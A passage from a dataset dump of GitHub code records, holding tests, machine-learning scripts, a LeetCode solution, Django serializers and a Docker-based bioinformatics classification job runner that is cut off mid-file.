val1.year == 2006\n assert val1.month == 6\n assert val1.day == 28\n assert val1.tzinfo.zone == 'Etc/GMT+120'\n\n val2 = catalog._parse_datetime_header('2006-06-28 23:24')\n assert val2.year == 2006\n assert val2.month == 6\n assert val2.day == 28\n assert val2.tzinfo is None\n\n\ndef test_update_catalog_comments():\n # Based on https://web.archive.org/web/20100710131029/http://babel.edgewall.org/attachment/ticket/163/cat-update-comments.py\n\n catalog = pofile.read_po(StringIO('''\n # A user comment\n #. An auto comment\n #: main.py:1\n #, fuzzy, python-format\n msgid \"foo %(name)s\"\n msgstr \"foo %(name)s\"\n '''))\n\n assert all(message.user_comments and message.auto_comments for message in catalog if message.id)\n\n # NOTE: in the POT file, there are no comments\n template = pofile.read_po(StringIO('''\n #: main.py:1\n #, fuzzy, python-format\n msgid \"bar %(name)s\"\n msgstr \"\"\n '''))\n\n catalog.update(template)\n\n # Auto comments will be obliterated here\n assert all(message.user_comments for message in catalog if message.id)\n","repo_name":"python-babel/babel","sub_path":"tests/messages/test_catalog.py","file_name":"test_catalog.py","file_ext":"py","file_size_in_byte":19626,"program_lang":"python","lang":"en","doc_type":"code","stars":1207,"dataset":"github-code","pt":"29"} +{"seq_id":"23520037082","text":"from random import randint\n\nimport pandas as pd\nimport pytest\nfrom dateutil.tz import tzlocal\n\n\nclass SeriesTimestampRoundTesting:\n\n timedelta = pd.Timedelta(minutes=10)\n random_timedelta_min_seconds = 10\n random_timedelta_max_seconds = int(timedelta.total_seconds())\n row_count = 25\n\n @pytest.fixture\n def alternative_round_algo(self, round_algo):\n def alternative_algo(series: pd.Series):\n # noinspection PyTypeChecker\n return series.apply(round_algo.round_value)\n return alternative_algo\n\n @pytest.fixture\n def series_to_round(self):\n data = []\n current_timestamp = pd.Timestamp.now(tz=tzlocal())\n for i in range(self.row_count):\n random_timedelta = pd.Timedelta(\n seconds=randint(\n self.random_timedelta_min_seconds,\n self.random_timedelta_max_seconds\n )\n )\n data.append(current_timestamp + random_timedelta)\n current_timestamp += self.timedelta\n\n return pd.Series(data)\n\n def test_series_timestamp_round(self, series_to_round, round_algo, alternative_round_algo):\n rounded_series = round_algo.round_series(series_to_round)\n alternative_processed_series = alternative_round_algo(series_to_round)\n # noinspection PyUnresolvedReferences\n assert (rounded_series == alternative_processed_series).all()\n","repo_name":"cool-soft/boiler","sub_path":"tests/dataset_timestamp_round_testing.py","file_name":"dataset_timestamp_round_testing.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37408719663","text":"\"\"\"source: https://github.com/jchibane/ndf\nGT data for evaluation\"\"\"\nimport trimesh\nimport numpy as np\nimport argparse\n\nimport torch\nfrom kaolin.metrics.point import SidedDistance\nfrom psbody.mesh import Mesh, MeshViewer\n\nimport os\nimport pickle as pkl\nimport igl\nimport sys\nsys.path.append('/BS/garvita/work/code/cloth_static/TailorNet')\nimport ipdb\n\nfrom models.torch_smpl4garment import TorchSMPL4Garment\ndata_dir = '/BS/RVH_3dscan_raw2/static00/neuralGIF_data/smpl_test'\n\nsys.path.append('/BS/garvita/work/code/if-net/data_processing')\nimport implicit_waterproofing as iw\nimport mcubes\n\nif __name__ == \"__main__\":\n all_beta = []\n for i in range(9):\n beta = np.load('/BS/cloth-anim/static00/tailor_data/shirt_male/shape/beta_{:03}.npy'.format(i))\n all_beta.append(beta[:10])\n beta1 = np.zeros_like(all_beta[0])\n beta1[0] = 2.0\n beta1[1] = -2.0\n parser = argparse.ArgumentParser(\n description='Run boundary sampling'\n )\n parser.add_argument('-frame', type=int)\n\n args = parser.parse_args()\n\n cmu_root = '/BS/RVH/work/data/people_completion/poses/CMU'\n all_cmu = sorted(os.listdir(cmu_root))[812:] #[100:]\n pose_file = '/BS/RVH/work/data/people_completion/poses/SMPL/female.pkl'\n poses = pkl.load(open(pose_file, 'rb'), encoding=\"latin1\")\n smpl_torch = TorchSMPL4Garment('female')\n sample_num = 100000\n\n sub_folder =os.path.join(data_dir, '2-2')\n if not os.path.exists(sub_folder):\n os.makedirs(sub_folder)\n\n print(len(poses))\n for j in range(len(poses)):\n if j%10 != 0:\n continue\n frame_num = '{:06}'.format(j)\n\n\n #creat smpl\n frame_pose = np.array(poses[j])\n #frame_pose[:3] = 0.0\n pose_torch = torch.from_numpy(frame_pose.astype(np.float32)).unsqueeze(0)\n betas_torch = torch.from_numpy(beta1.astype(np.float32)).unsqueeze(0)\n\n smpl_verts = smpl_torch.forward(pose_torch, betas_torch)\n transform = smpl_torch.A.detach().numpy()[0]\n\n transform_inv = np.array([np.linalg.inv(transform[i]) for i in range(24)])\n joints = smpl_torch.J_transformed.detach().numpy()[0]\n\n #check the smpl mesh and joint and unposed mesh here\n m1 = Mesh(v=smpl_verts.detach().numpy()[0], f=smpl_torch.faces)\n mesh = trimesh.Trimesh(m1.v, smpl_torch.faces)\n\n bottom_corner, upper_corner = mesh.bounds\n\n\n minimun = np.min(bottom_corner)\n maximum = np.max(upper_corner)\n grid_points = iw.create_grid_points_from_bounds(minimun, maximum, 256)\n logits = igl.signed_distance(grid_points, mesh.vertices, mesh.faces)[0] # -ve -> inside\n logits = np.reshape(logits, (256,) * 3)\n\n #logits = 1.0 -logits\n logits = (-1)*logits\n vertices, triangles = mcubes.marching_cubes(logits, 0.0)\n step = (maximum - minimun) / (256 )\n #step = (max - min) / (self.resolution*self.upsampling_steps - 1)\n vertices = np.multiply(vertices, step)\n vertices += [minimun, minimun,minimun]\n\n m1 = trimesh.Trimesh(vertices, triangles)\n\n m1.export(os.path.join(sub_folder, frame_num + '.obj'))\n\n\n\n print('Finished {} '.format( frame_num))\n\n\n","repo_name":"garvita-tiwari/neuralgif","sub_path":"prepare_data/smpl_test.py","file_name":"smpl_test.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"29"} +{"seq_id":"19553675116","text":"# encoding=utf-8\nimport math\nimport functools\nfrom typing import List, Dict, Any, Tuple, Callable\nclass Test:\n def __init__(self):\n self.cases: List[Tuple[Callable, Tuple[Any], Dict[str, Any], Any]] = list()\n def equal(self, expect, *args, **kwargs):\n def wrapper(func):\n self.cases.append((func, args, kwargs, expect))\n @functools.wraps(func)\n def inner_wrapper(*args, **kwargs):\n return func(*args, **kwargs)\n return inner_wrapper\n return wrapper\ndef div_ceil(x, y):\n return math.ceil(x / y)\n\nclass Solution:\n def smallestDivisor(self, nums: List[int], threshold: int) -> int:\n n, s = len(nums), sum(nums)\n if threshold == n:\n return max(nums)\n if threshold >= s:\n return 1\n def compare(x):\n return sum(div_ceil(v, x) for v in nums) - threshold\n l, r = div_ceil(s, threshold), div_ceil(s, threshold - n)\n ld, rd = compare(l), compare(r)\n while True:\n if r - l <= 1:\n return r if ld > 0 and rd <= 0 else l\n m = (l + r) // 2\n md = compare(m)\n if md > 0:\n l = m\n ld = md\n else:\n r = m\n rd = md\n\ns = Solution()\n# print(s.smallestDivisor([1, 2, 5, 9], 6))\n# print(s.smallestDivisor([2,3,5,7,11], 11))\n# print(s.smallestDivisor([19], 5))\n# print(s.smallestDivisor([1,2,3], 1000000))\n# print(s.smallestDivisor([962551,933661,905225,923035,990560],10))\n# print(s.)\ntest = Test()\n@test.equal(495280, [962551,933661,905225,923035,990560],10)\n@test.equal(1, [1,2,3], 1000000)\n@test.equal(5, [1, 2, 5, 9], 6)\n@test.equal(55, [4813,3988,81,2197,6783,1729,7138,9317,176,2831,2352,4804,9470,5171,5504,5079,5875,3388,5199,1229,1089,2459,4592,5251,8538,8204,3992,3628,6031,7472,226,4317,7288,3688,593,343,5115,8813,4737,9559,2216,4436,1919,2386,5946,9904,6007,5652,8997,5491], 4394)\ndef smallestDivisor(nums, thresh):\n return s.smallestDivisor(nums, thresh)\n\nfor func, args, kwargs, expect in test.cases:\n try:\n res = func(*args, **kwargs)\n if res == expect:\n print(f'SUCCESS: {func.__name__}({\", \".join(map(str, args))}, {\", \".join(str(k) + \"=\" + str(v) for k, v in kwargs.items())}) == {expect}')\n else:\n print(f'FAILED: {func.__name__}({\", \".join(map(str, args))}, {\", \".join(str(k) + \"=\" + str(v) for k, v in kwargs.items())}) != {expect}')\n except Exception as e:\n print(f'ERROR: {func.__name__}({\", \".join(map(str, args))}, {\", \".join(str(k) + \"=\" + str(v) for k, v in kwargs.items())}) ?? {expect}')\n","repo_name":"sth4nothing/leetcode","sub_path":"solution/lc5280.py","file_name":"lc5280.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11263869844","text":"# make_dictionary.py\ninput = open('englishdictionary.sql', 'r')\noutput = open('firststep', 'w')\nfor i in range(61):\n\tstr = input.readline()\n\tif(i >= 45):\n\t\tv0 = str.split('),(')\n\t\tfor j in range(len(v0)):\n\t\t\tif(j!=0):\n\t\t\t\tv1 = v0[j].split('\\',\\'')\n\t\t\t\tfor k in range(len(v1)):\n\t\t\t\t\tif(k <= 2):\n\t\t\t\t\t\ts = v1[k]\n\t\t\t\t\t\ts = s.lstrip('\\'')\n\t\t\t\t\t\ts = s.rstrip('\\'')\n\t\t\t\t\t\ts = s.replace('\\\\n ', '')\n\t\t\t\t\t\ts = s.replace('\\\\\\\"', '\\\"')\n\t\t\t\t\t\ts = s.replace('\\\\\\'', '\\'')\n\t\t\t\t\t\ts = s.replace('\\');\\n', '')\n\t\t\t\t\t\toutput.write(s+'\\n')\t\n\t\t\t\toutput.write('\\n')\t\t\n","repo_name":"Yuki-yao/Dictionary","sub_path":"data/make_dictionary.py","file_name":"make_dictionary.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"6301384744","text":"import os\nimport json\n\nimport numpy as np\n\nfrom utils import normalize_01, normalize_m11, denormalize_01, denormalize_m11 \n\n\nclass Predictor:\n \"\"\"\n Predictions with Deep Learning models.\n ----------\n folder_path: string\n Path to the folder with the parameters created during TFRecords' creation.\n dataset_name: string\n Name of the folder with the parameters created during TFRecords' creation.\n model_name: string\n Name of the model\n models: Model\n List of Keras models\n \"\"\"\n def __init__(self, folder_path, dataset_name, model):\n self.folder_path = folder_path\n self.dataset_name = dataset_name\n self.model = model\n with open(os.path.join(folder_path, dataset_name, \"dataset_params.json\"), 'r') as f:\n self.params = json.load(f)\n\n\n def predict(self, input_array, norm_range=[[0,1], [-1,1]]):\n \"\"\"\n Predict output.\n Parameters\n ----------\n norm_range: list\n List with two values showing the normalization range.\n \"\"\"\n # Normalize input image\n if norm_range[0] == [0,1]:\n input_array = normalize_01(input_array)\n elif norm_range[0] == [-1,1]:\n input_array = normalize_m11(input_array)\n else:\n raise ValueError(f'Normalization range should be [0,1] or [-1,1]')\n\n # Predict\n prediction = self.model.predict(input_array[:,:,:,:3])\n\n # Display predicted image on map\n # Denormalize output image\n if norm_range[1] == [0,1]:\n prediction = denormalize_01(prediction)\n elif norm_range[1] == [-1,1]:\n prediction = denormalize_m11(prediction)\n\n return prediction\n","repo_name":"Vizzuality/super-resolution-app","sub_path":"src/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6235606244","text":"import dhg \nimport torch\nimport torch.nn as nn\nfrom typing import Tuple, Optional\nfrom einops import rearrange\nfrom torch.nn import Linear \nfrom torch_geometric.nn.pool import global_mean_pool \nfrom torch_geometric.nn import GCNConv \nfrom torch_geometric.nn.norm import BatchNorm\n\n# a good way to make hyper edges:\n# dhg.Hypergraph.from_graph_kHop()\n\nclass LazyLayer(torch.nn.Module):\n \n \"\"\" Currently a single elementwise multiplication with one laziness parameter per\n channel. this is run through a softmax so that this is a real laziness parameter\n \"\"\"\n\n def __init__(self, n):\n super().__init__()\n self.weights = torch.nn.Parameter(torch.Tensor(2, n))\n\n def forward(self, x, propogated):\n inp = torch.stack((x, propogated), dim=1)\n s_weights = torch.nn.functional.softmax(self.weights, dim=0)\n return torch.sum(inp * s_weights, dim=-2)\n\n def reset_parameters(self):\n torch.nn.init.ones_(self.weights)\n \n\nclass HyperDiffusion(nn.Module):\n def __init__(\n self, \n in_channels: int,\n out_channels: int,\n trainable_laziness=False,\n fixed_weights=True\n ):\n super().__init__()\n self.trainable_laziness= trainable_laziness \n self.fixed_weights = fixed_weights \n # in the future, we could make this time independent, but spatially dependent, as in GRAND\n if trainable_laziness:\n self.lazy_layer = LazyLayer(in_channels)\n # in the future, I'd like to have different weights based on the hypergraph edge size\n if not self.fixed_weights:\n self.lin_self = torch.nn.Linear(in_channels, out_channels)\n self.lin_neigh = torch.nn.Linear(in_channels, out_channels)\n\n def forward(self, hg: dhg.Hypergraph, X: torch.Tensor, Y: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]:\n # if not self.fixed_weights:\n # X = self.lin(X)\n \n # X has shape num_nodes, num_features\n #import pdb; pdb.set_trace()\n # propagate from nodes to hyperedges \n inv_deg_v = hg.D_v_neg_1.values()\n inv_deg_v = torch.nan_to_num(inv_deg_v)\n # I should degree normalize first\n X_norm = torch.einsum('ij,i->ij', X, inv_deg_v)\n\n edge_feat = hg.v2e(X_norm, aggr = 'sum')\n \n if not self.fixed_weights:\n edge_feat = self.lin_neigh(edge_feat)\n Y = self.lin_self(edge_feat)\n\n if self.trainable_laziness and Y is not None:\n edge_feat = self.lazy_layer(edge_feat, Y)\n\n # propagate back from hyperedges to nodes \n inv_deg_e = hg.D_e_neg_1.values()\n inv_deg_e = torch.nan_to_num(inv_deg_e)\n edge_feat_norm = torch.einsum('ij,i->ij', edge_feat, inv_deg_e)\n\n node_feat = hg.e2v(edge_feat_norm, aggr = 'sum')\n\n if not self.fixed_weights:\n node_feat = self.lin_neigh(node_feat)\n X = self.lin_self(X)\n \n if self.trainable_laziness:\n node_feat = self.lazy_layer(node_feat, X)\n \n return node_feat, edge_feat \n\nclass HyperScatteringModule(nn.Module):\n def __init__(self, in_channels, trainable_laziness = False, trainable_scales = False, activation = \"blis\", fixed_weights=True):\n\n super().__init__()\n #device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n self.in_channels = in_channels\n self.trainable_laziness = trainable_laziness\n self.diffusion_layer1 = HyperDiffusion(in_channels, in_channels, trainable_laziness, fixed_weights)\n # self.diffusion_layer2 = Diffuse(\n # 4 * in_channels, 4 * in_channels, trainable_laziness\n # )\n self.wavelet_constructor = torch.nn.Parameter(torch.tensor([\n [1, -1.0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, -1],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]\n ], requires_grad=trainable_scales))\n\n if activation == \"blis\":\n self.activations = [lambda x: torch.relu(x), lambda x: torch.relu(-x)]\n elif activation == None:\n self.activations = [lambda x : x]\n elif activation == \"modulus\":\n self.activations = [lambda x: torch.abs(x)]\n elif activation == \"leaky_relu\":\n m = nn.LeakyReLU()\n self.activations = [lambda x: m(x)]\n\n def forward(self, hg: dhg.Hypergraph, X: torch.Tensor, Y: torch.Tensor):\n\n \"\"\" This performs Px with P = 1/2(I + AD^-1) (column stochastic matrix) at the different scales\"\"\"\n\n #x, edge_index = data.x, data.edge_index\n features = X.shape[1]\n #s0 = X[:,:,None]\n node_features = [X]\n\n edge_features = [Y]\n #import pdb; pdb.set_trace()\n for i in range(16):\n node_feat, edge_feat = self.diffusion_layer1(hg, node_features[-1], edge_features[-1])\n node_features.append(node_feat)\n edge_features.append(edge_feat)\n # for j in range(len(avgs)):\n # # add an extra dimension to each tensor to avoid data loss while concatenating TODO: is there a faster way to do this?\n # avgs[j] = avgs[j][None, :, :, :] \n # Combine the diffusion levels into a single tensor.\n diffusion_levels = rearrange(node_features, 'i j k -> i j k')\n edge_diffusion_levels = rearrange(edge_features, 'i j k -> i j k')\n #edge_diffusion_levels = torch.cat(edge_features)\n \n # Reshape the 3d tensor into a 2d tensor and multiply with the wavelet_constructor matrix\n # This simulates the below subtraction:\n # filter0 = avgs[0] - avgs[1]\n # filter1 = avgs[1] - avgs[2] \n # filter2 = avgs[2] - avgs[4]\n # filter3 = avgs[4] - avgs[8]\n # filter4 = avgs[8] - avgs[16] \n # filter5 = avgs[16]\n\n wavelet_coeffs = torch.einsum(\"ij,jkl->ikl\", self.wavelet_constructor, diffusion_levels) # J x num_nodes x num_features x 1\n wavelet_coeffs_edges = torch.einsum(\"ij,jkl->ikl\", self.wavelet_constructor, edge_diffusion_levels)\n #subtracted = subtracted.view(6, x.shape[0], x.shape[1]) # reshape into given input shape\n activated = [self.activations[i](wavelet_coeffs) for i in range(len(self.activations))]\n activated_edges = [self.activations[i](wavelet_coeffs_edges) for i in range(len(self.activations))]\n s_nodes = rearrange(activated, 'a w n f -> n (w f a)')\n s_edges = rearrange(activated_edges, 'a w e f -> e (w f a)')\n\n return s_nodes, s_edges\n \n def out_features(self):\n return 6 * self.in_channels * len(self.activations)\n\nclass HSN(nn.Module):\n def __init__(self, \n in_channels, \n hidden_channels, \n out_channels, \n trainable_laziness = False, \n trainable_scales = False, \n activation = \"modulus\", \n fixed_weights=True, \n layout = ['hsm','hsm'], \n **kwargs):\n \n super().__init__()\n self.in_channels = in_channels \n self.out_channels = out_channels\n self.hidden_channels = hidden_channels\n self.trainable_laziness = trainable_laziness \n self.trainable_scales = trainable_scales \n self.activation = activation \n self.fixed_weights = fixed_weights\n\n self.layout = layout \n self.layers = []\n self.out_dimensions = [in_channels]\n\n for layout_ in layout:\n if layout_ == 'hsm':\n self.layers.append(HyperScatteringModule(self.out_dimensions[-1], \n trainable_laziness = trainable_laziness,\n trainable_scales = self.trainable_scales, \n activation = self.activation, \n fixed_weights=self.fixed_weights))\n self.out_dimensions.append(self.layers[-1].out_features() )\n elif layout_ == 'dim_reduction':\n input_dim = self.out_dimensions[-1]\n output_dim = input_dim//2\n self.out_dimensions.append(output_dim)\n self.layers.append(nn.Linear(input_dim, output_dim))\n else:\n raise ValueError(\"Not yet implemented\")\n \n self.layers = nn.ModuleList(self.layers)\n\n # currently share backend MLPs for the node and edge features\n self.batch_norm = BatchNorm(self.out_dimensions[-1])\n\n self.fc1 = Linear(self.out_dimensions[-1], self.out_dimensions[-1]//2)\n self.fc2 = nn.Linear(self.out_dimensions[-1]//2, self.out_channels)\n #self.fc3 = nn.Linear(128, 64)\n #self.fc4 = nn.Linear(64, self.out_channels)\n \n self.relu = nn.ReLU()\n self.batch_norm1 = nn.BatchNorm1d(self.out_dimensions[-1]//2)\n #self.batch_norm2 = nn.BatchNorm1d(128)\n #self.batch_norm3 = nn.BatchNorm1d(64)\n\n self.mlp = nn.Sequential(\n self.fc1,\n self.batch_norm1,\n self.relu,\n self.fc2\n )\n\n # self.mlp = nn.Sequential(\n # self.fc1,\n # self.batch_norm1,\n # self.relu,\n # self.fc2,\n # self.batch_norm2,\n # self.relu,\n # self.fc3,\n # self.batch_norm3,\n # self.relu,\n # self.fc4\n # )\n\n # self.lin1 = Linear(self.out_dimensions[-1], self.out_dimensions[-1]//2 )\n # self.mean = global_mean_pool \n # self.lin2 = Linear(self.out_dimensions[-1]//2, out_channels)\n # self.lin3 = Linear(out_channels, out_channels)\n\n # self.act = nn.ReLU()\n\n def forward(self, hg: dhg.Hypergraph, X: torch.Tensor, Y: torch.Tensor):\n for il, layer in enumerate(self.layers):\n if self.layout[il] == 'hsm':\n X, Y = layer(hg, X, Y)\n elif self.layout[il] == 'dim_reduction':\n X = layer(X)\n Y = layer(Y) \n else:\n X, Y = layer(hg, X, Y)\n #import pdb; pdb.set_trace()\n X = self.batch_norm(X)\n X = self.mlp(X)\n # X = self.lin1(X)\n # X = self.act(X)\n # X = self.lin2(X)\n # X = self.act(X)\n # X = self.lin3(X)\n\n # compute the same process on the edges:\n Y = self.batch_norm(Y)\n Y = self.mlp(Y)\n # Y = self.lin1(Y)\n # Y = self.act(Y)\n # Y = self.lin2(Y)\n # Y = self.act(Y)\n # Y = self.lin3(Y)\n\n return X,Y\n\nif __name__ == \"__main__\":\n device = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n print(f\"training on device {device}\")\n num_vertices = 15\n hg = dhg.random.uniform_hypergraph_Gnp(3,num_vertices, .4).to(device)\n signal_features = 2\n X = torch.rand(num_vertices, signal_features).to(device)\n num_edges = hg.num_e\n Y = torch.zeros(num_edges, signal_features).to(device)\n\n hidden_channels = 16\n out_channels = 1\n net = HSN(signal_features, hidden_channels, 1).to(device)\n #import pdb; pdb.set_trace()\n\n node_pred, edge_pred = net(hg ,X, Y)\n import pdb; pdb.set_trace()\n node_pred.shape\n\n\n\n\n\n","repo_name":"HungryAmoeba/hypergraph_scattering","sub_path":"hypgs/models/hyper_scattering_net.py","file_name":"hyper_scattering_net.py","file_ext":"py","file_size_in_byte":11564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9935305813","text":"from rest_framework import serializers\n\nimport accounts.serializers\nfrom .models import Area, Sento, UserSentoVisit\n\n\nclass AreaSerializer(serializers.ModelSerializer):\n class Meta:\n model = Area\n fields = ['name']\n\n\nclass SentoSerializer(serializers.ModelSerializer):\n area = AreaSerializer(many=False)\n point_geojson = serializers.SerializerMethodField()\n\n class Meta:\n model = Sento\n exclude = ['point', 'created_at', 'updated_at']\n\n def get_point_geojson(self, object):\n point = object.point.geojson\n return point\n\n\nclass UserSentoVisitSerializer(serializers.ModelSerializer):\n sento = SentoSerializer()\n user = accounts.serializers.UserSerializer()\n\n class Meta:\n model = UserSentoVisit\n fields = '__all__'\n\n\nclass UserSentoVisitPostDeleteSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = UserSentoVisit\n fields = '__all__'\n","repo_name":"hayashisagri/sento_log","sub_path":"api/sento/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21147085860","text":"\r\nprint(\"---------- CONVERSAO DE BASES N -> N ----------\")\r\nprint(\"De N -> 10\")\r\n\r\nn_original = str(input(\"entre com o numero inicial: \"))\r\nbase_original = int(input(\"entre com a base do numero inicial: \"))\r\ndic = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']\r\ndec = 0\r\ndec_temp = list(n_original)\r\ndec_temp.reverse()\r\nfor x,i in enumerate(dec_temp):\r\n dec += dic.index(i) * base_original**(x)\r\n\r\nprint(f\"De base N -> 10: {str(dec)}\")\r\n\r\nprint(\"De 10 -> N\")\r\nb_final = int(input(\"Entre com a base final: \"))\r\ndec1 = dec\r\n#dec = int(input(\"Entre com o numero decimal: \"))\r\nn_final_temp = []\r\nn_final = ''\r\n\r\nwhile True:\r\n temp_n_final = dec1 % b_final\r\n n_final_temp.append(temp_n_final)\r\n if int (dec1/b_final) == 0:\r\n break\r\n dec1 = int(dec1/b_final)\r\nn_final_temp.reverse()\r\nfor i in n_final_temp:\r\n n_final += dic[i]\r\nprint(f\"O numero convertido para a base {b_final} é: {n_final}\")","repo_name":"LucasBragaCyber/Conversor-De-Bases","sub_path":"ConversaoBasesNpN.py","file_name":"ConversaoBasesNpN.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10192865174","text":"from Node import Node\r\n\r\nclass SumSCBD:\r\n\r\n # Class for easy heuristic calculation\r\n # - stores the goal state and calculates the SCBD according to it\r\n\r\n def __init__(self, state):\r\n self._goalNode = Node(state, None, None, None, None)\r\n\r\n def calc_SCBD(self, node):\r\n # calculate heuristic using sum of chessboard distances\r\n # - chessboard distance = max(horizontal moves, vertical moves)\r\n \r\n sum_SCBD = 0\r\n for i in range(16):\r\n # find tile positions\r\n goalX, goalY = self._goalNode.getValuePos(i)\r\n currX, currY = node.getValuePos(i)\r\n # add the max between hori/vert moves\r\n sum_SCBD += max(abs(goalX - currX), abs(goalY - currY))\r\n return sum_SCBD","repo_name":"HermanLin/A-Star-Search_15-puzzle","sub_path":"SumSCBD.py","file_name":"SumSCBD.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39260978270","text":"import os\nimport time\nfrom collections import namedtuple\nfrom datetime import datetime\n\nimport pydash\nfrom bson import ObjectId\n\nfrom shared.config import config\nfrom shared.log import logger\nfrom system.controllers import classification_job, user_job\nfrom system.extensions import DockerClient\nfrom system.models.job_manager import JobStatus, JobType\nfrom system.utils.biocontainers import get_biocontainers, parse_container_command\nfrom system.utils.job_failure import handle_fail\n\ndocker_client = DockerClient().get_client()\n\n\ndef run_classification_job(job: dict, job_mode: bool):\n t_job_start = datetime.now()\n user_job_id = pydash.get(job, \"user_job_id\")\n class_job_id = pydash.get(job, \"_id\")\n user = user_job.find_by_id(user_job_id=user_job_id).as_dict()\n completed_jobs = user[\"child_jobs_completed\"]\n if (job_mode is False) and (completed_jobs == 0):\n user_job.update_started_time(obj_id=user_job_id, time=t_job_start)\n job_mode = False\n\n if class_job_id is None:\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id, message=\"JOB ID NOT INCLUDED!\")\n return\n\n # Parse job object\n res = parse_job_data(job=job)\n if res is None:\n return\n user_job_id, class_job_id, classifier, fastq_filepath = res\n classification_job.update_status(obj_id=class_job_id, new_status=str(JobStatus.PROCESSING))\n user_job.update_status(obj_id=user_job_id, new_status=str(JobStatus.PROCESSING))\n logger.info(\"RUNNING CLASSIFICATION FOR JOB {}\".format(str(user_job_id)))\n\n # Get classifier information\n classifier = pydash.get(job, \"classifier\", None)\n _, biocontainers_info = get_biocontainers()\n biocontainer = pydash.get(biocontainers_info, classifier)\n logger.debug(\"USING BIOCONTAINER: {}\".format(biocontainer))\n\n _, ext = os.path.splitext(fastq_filepath)\n file_formats = biocontainer.file_formats\n if ext[1:] not in file_formats: # index [1:] removes leading . from extension\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id,\n message=\"BIOCONTAINER DOES NOT ACCEPT {} FILES!\".format(ext))\n return\n\n # Set-up Docker volumes\n db_mount_path = os.path.join(config.BIOCONTAINER_DB_DIR, biocontainer.database_name)\n if not os.path.exists(db_mount_path):\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id,\n message=\"BIOCONTAINER DATABASE {} DOES NOT EXIST\".format(db_mount_path))\n return\n\n volumes = {\n db_mount_path: {\"bind\": config.CONTAINER_DB_BIND},\n config.JOBS_DIR: {\"bind\": config.CONTAINER_DATA_BIND, \"mode\": \"rw\"}\n }\n\n # Make job directories and construct output paths\n result_filepath, report_filepath, input_filepath = setup_job_directories(fastq_filepath=fastq_filepath,\n classifier=classifier)\n\n # Parse Docker commands\n classify_commands = []\n if biocontainer.classify:\n for c in biocontainer.classify:\n classify_command = parse_container_command(command=c, result_file=result_filepath,\n report_file=report_filepath, input_file=input_filepath)\n classify_commands.append(classify_command)\n else:\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id,\n message=\"CLASSIFY COMMAND NOT PROVIDED FOR BIOCONTAINER. NOT RUNNING CLASSIFICATION!\")\n return False\n\n report_commands = []\n if biocontainer.report:\n for c in biocontainer.report:\n report_command = parse_container_command(command=c, result_file=result_filepath,\n report_file=report_filepath, input_file=input_filepath)\n report_commands.append(report_command)\n\n # Run classifier\n classify_success = False\n if classify_commands:\n logger.debug(\"BEGIN CLASSIFYING\")\n classify_success = classify(commands=classify_commands, volumes=volumes, biocontainer=biocontainer,\n job_id=class_job_id)\n if not classify_success:\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id, message=\"CLASSIFICATION FAILED! ABORT.\")\n return False\n\n # Write report\n if report_commands and classify_success:\n logger.debug(\"WRITING REPORT\")\n report_success = report(commands=report_commands, biocontainer=biocontainer, volumes=volumes,\n report_filepath=report_filepath, class_job_id=class_job_id)\n if not report_success:\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=class_job_id, message=\"REPORTING FAILED! ABORT.\")\n return False\n\n # Finish Job\n t_job_end = datetime.now()\n t_job_dur = t_job_end - t_job_start\n\n logger.info(\n \"FINISHED {} CLASSIFICATION JOB FOR USER JOB {} IN {} \".format(classifier, str(user_job_id), str(t_job_dur)))\n return\n\n\ndef classify(commands: list, volumes: dict, biocontainer: namedtuple, job_id: ObjectId) -> bool:\n for command in commands:\n logger.debug(\"CLASSIFY COMMAND: {}\".format(command))\n\n t_classify_start = datetime.now()\n try:\n job_container = docker_client.containers.create(image=biocontainer.image,\n volumes=volumes,\n command=command,\n detach=True)\n\n t_classify_start_cpu = datetime.fromtimestamp(time.process_time())\n classification_job.update_container_id(obj_id=job_id, container_id=job_container.id)\n job_container.start()\n logger.debug(\"RUNNING CONTAINER {}\".format(job_container.id))\n\n except Exception as e:\n handle_fail(job_type=JobType.CLASSIFICATION, job_id=job_id, message=\"PROBLEM RUNNING DOCKER\",\n more_info=e)\n\n # Clean up after exception\n job_container.stop(timeout=10)\n job_container.remove(v=True, force=True)\n return False\n\n # Print logs for 